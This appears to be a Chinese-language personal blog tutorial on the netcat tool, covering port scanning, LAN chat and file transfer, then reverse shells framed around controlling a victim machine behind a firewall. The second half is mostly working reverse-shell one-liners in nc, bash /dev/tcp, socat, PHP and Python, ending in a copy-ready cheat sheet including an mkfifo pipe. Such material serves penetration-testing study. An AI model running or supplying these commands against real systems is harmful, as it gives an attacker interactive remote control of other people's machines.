V0W's Blog

Linux nc命令与反弹shell

字数统计: 1,915阅读时长: 8 min
2018/08/12 Share

Linux nc命令与反弹shell

Linux中nc命令是一个功能强大的网络工具,全称是netcat。

nc/netcat(选项)(参数)
选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用。

参数:

1
2
主机:指定主机的IP地址或主机名称;
端口号:可以是单个整数或者是一个范围。

TCP端口扫描

1
2
3
4
5
# nc -v -z -w2 192.168.0.3 1-100
-v:显示指令执行过程;
-z:使用0输入/输出模式,只在扫描通信端口时使用。
-w2:设置等待连线的时间为2s;
```

root@kali:~/Desktop# nc -v -z -w2 192.168.211.106 38324
192.168.211.106: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.211.106] 38324 (?) open

root@kali:~/Desktop# nc -v -z -w2 192.168.211.106 38322-38325
192.168.211.106: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.211.106] 38324 (?) open

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

## UDP端口扫描
# nc -u -z -w2 192.168.0.1 1-1000 //扫描192.168.0.3 的端口 范围是 1-1000

## 扫描指定端口

# nc -nvv 192.168.0.1 80 //扫描 80端口
(UNKNOWN) [192.168.0.1] 80 (?) open

## 使用netcat实现局域网聊天

一端先启好监听:

nc -l 9999

另一端端进行连接:

nc 192.168.220.128 9999

连接之后的任一边的输入在另一边都可看到

#Ubantu (192.168.118.137 9999)

ldl@ubuntu:~$ nc -l 9999
wode
我的
Linux真好用 ^H,^H^H-=13

1
2
3
4
5
6
7
```
#kali(192.168.118.134)

root@kali:~/Desktop# nc 192.168.118.137 9999
wode^H^H^H
我的
Linux真好用-=13

发现输入的内容(中文英文字符)都可以正确解析,但是非打印字符不会传输。退格等键无用。

Ctrl+C 断开连接。

使用netcat实现文件传输

和局域网聊天是原理一样的,不过把输入输出重定向到文件
接收入端先启好监听:

nc -l 9999 > recv.txt

发送端进行发送:

nc 192.168.220.128 9999 < send.txt

不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。


接收端:

1
2
3
4
5
6
ldl@ubuntu:~/Desktop$ ls
源代码
ldl@ubuntu:~/Desktop$ nc -l 9999 > test.c
^C
ldl@ubuntu:~/Desktop$ ls
test.c 源代码

发送端:

root@kali:~/Desktop# nc 192.168.118.137 9999 < test.c

反弹shell

什么是反弹shell

想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢?

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。
  2. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  3. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

作者:玄魂工作室-玄魂

反弹shell的各种姿势

netcat工具反弹

(1)受害者(目标机 kali)

root@kali:~# nc -lvvp 8080 -t -e /bin/bash

mark

(2)攻击者(Linux)

nc 192.168.118.138 8080

mark

bash直接反弹

(1) 目标机bash一句话

bash -i >& /dev/tcp/attacker-IP/Port 0>&1
e.g.
bash -i >& /dev/tcp/192.168.118.138/1234 0>&1

mark

(2) 攻击者监听shell

nc -lvvp Port
e.g.
nc -lvvp 1234

mark

bash反弹一句话的拆分说明
mark
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

socat反弹一句话

Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。

有关socat二进制可执行文件,大家可以到这个链接下载:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

kali中有

(1) 攻击机开启监听

socat tcp-listen:6666 -

mark

(2) 靶机运行socat反弹shell

root@ubuntu:~# socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.118.138:6666

mark

php脚本反弹

靶机上运行

php -r '$sock=fsockopen("192.168.118.138",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

mark

攻击者上运行

nc -lvvp 8888

mark

python脚本反弹

攻击者运行

nc -lvvp 8080

mark

靶机上运行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.138",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

mark


先总结这几种,还有一些不常用,之后遇到再说。

反弹shell 命令总结

bash版本:

bash -i >& /dev/tcp/<attackerIP>/[port] 0>&1
bash -i >& /dev/tcp/192.168.118.138/6666 0>&1

注意这个是由解析shell的bash完成,所以某些情况下不支持

python版本:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本:

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

nc版本:

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

参考链接

  1. linux各种一句话反弹shell总结
  2. 各种环境下反弹 shell 的方法
  3. 渗透测试:反弹与转发小结
CATALOG
  1. 1. Linux nc命令与反弹shell
    1. 1.1. TCP端口扫描
    2. 1.2. 使用netcat实现文件传输
  2. 2. 反弹shell
    1. 2.1. 什么是反弹shell
    2. 2.2. 反弹shell的各种姿势
      1. 2.2.1. netcat工具反弹
      2. 2.2.2. bash直接反弹
      3. 2.2.3. socat反弹一句话
      4. 2.2.4. php脚本反弹
      5. 2.2.5. python脚本反弹
    3. 2.3. 反弹shell 命令总结
  3. 3. 参考链接